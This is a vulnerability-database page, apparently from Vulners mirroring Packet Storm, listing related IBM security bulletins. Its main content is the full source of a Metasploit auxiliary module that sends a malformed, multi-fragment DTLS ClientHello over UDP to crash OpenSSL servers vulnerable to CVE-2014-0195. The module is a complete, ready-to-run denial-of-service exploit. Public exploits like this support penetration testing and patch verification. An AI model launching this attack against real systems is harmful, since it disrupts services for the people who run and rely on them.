Lucene search
K

OpenSSL DTLS Fragment Buffer Overflow / Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by Jon Hart, Juri Aedla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 230 Views

OpenSSL DTLS Buffer Overflow DoS before 1.0.1h

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletins for IBM Tealeaf Customer Experience offerings
16 Jun 201819:35
ibm
IBM Security Bulletins
Security Bulletins - IBM Planning Analytics, Cognos TM1 and Cognos Insight
18 Jul 201817:37
ibm
IBM Security Bulletins
Security Bulletin:Security vulnerability has been identified in Rational Application Developer shipped with Rational Software Architect for Websphere (CVE-2014-0224, CVE-2014-0221, CVE-2014-0195, CVE-2014-0198, CVE-2010-5298, CVE-2014-3470)
17 Jun 201804:55
ibm
IBM Security Bulletins
Security Bulletin: IBM Tealeaf CX is affected by the following OpenSSL vulnerabilities: CVE-2014-0224, CVE-2014-0221, CVE-2014-0195, CVE-2014-0198, CVE-2010-5298, CVE-2014-3470
16 Jun 201819:38
ibm
IBM Security Bulletins
Security Bulletin: IBM PureData for Operational Analytics A1791 is affected by the following OpenSSL vulnerabilities: CVE-2014-0076, CVE-2014-0195, CVE-2014-0224, CVE-2014-0221 and CVE-2014-3470
17 Oct 201923:43
ibm
IBM Security Bulletins
Security Bulletin: NeXtScale Fan Power Controller (FPC) July 2014 Fixes (CVE-2014-0224, CVE-2014-0221, CVE-2014-0195, CVE-2014-0198, CVE-2010-5298, CVE-2014-3470)
31 Jan 201901:25
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in OpenSSL. Juniper EX Series Network Switches sold by IBM for use in IBM Products. (CVE-2014-0224, CVE-2014-0221, CVE-2014-0195, CVE-2014-0198, CVE-2010-5298, CVE-2014-3470)
31 Jan 201901:45
ibm
IBM Security Bulletins
Security Bulletin: Tivoli Management Framework is affected by the following OpenSSL vulnerabilities: CVE-2014-0224, CVE-2014-0221, CVE-2014-0195, CVE-2014-0198, CVE-2010-5298, CVE-2014-3470 and possibly CVE-2014-0076.
17 Jun 201814:42
ibm
IBM Security Bulletins
Security Bulletin: IBM BladeCenter Advanced Management Module is affected by the following OpenSSL vulnerabilities: CVE-2014-0224, CVE-2014-0221, CVE-2014-0195, CVE-2014-0198, CVE-2010-5298, and CVE-2014-3470.
14 Apr 202314:32
ibm
IBM Security Bulletins
Security Bulletin: Tivoli Workload Scheduler is affected by the following OpenSSL vulnerabilities: CVE-2014-0224, CVE-2014-0221, CVE-2014-0195, CVE-2014-3470
17 Jun 201814:44
ibm
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Dos  
include Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',  
'Description' => %q{  
This module performs a Denial of Service Attack against Datagram TLS in  
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.  
This occurs when a DTLS ClientHello message has multiple fragments and the  
fragment lengths of later fragments are larger than that of the first, a  
buffer overflow occurs, causing a DoS.  
},  
'Author' =>  
[  
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery  
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-0195'],  
['ZDI', '14-173'],  
['BID', '67900'],  
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],  
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']  
],  
'DisclosureDate' => '2014-06-05'))  
  
register_options([  
Opt::RPORT(4433),  
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])  
])  
  
end  
  
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)  
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),  
# fragment offset (3 bytes), fragment length (3 bytes), fragment body  
sol = (seq << 48) | (frag_offset << 24) | frag_length  
[  
(type << 24) | length,  
(sol >> 32),  
(sol & 0x00000000FFFFFFFF)  
].pack("NNN") + frag_body  
end  
  
def build_tls_message(type, version, epoch, sequence, message)  
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),  
# sequence # (6 bytes) + message length (2 bytes), message body  
es = (epoch << 48) | sequence  
[  
type,  
version,  
(es >> 32),  
(es & 0x00000000FFFFFFFF),  
message.length  
].pack("CnNNn") + message  
end  
  
def run  
# add a small fragment  
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')  
# add a large fragment where the length is significantly larger than that of the first  
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations  
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))  
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)  
connect_udp  
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")  
udp_sock.put(message)  
disconnect_udp  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 26.8
EPSS0.92751
230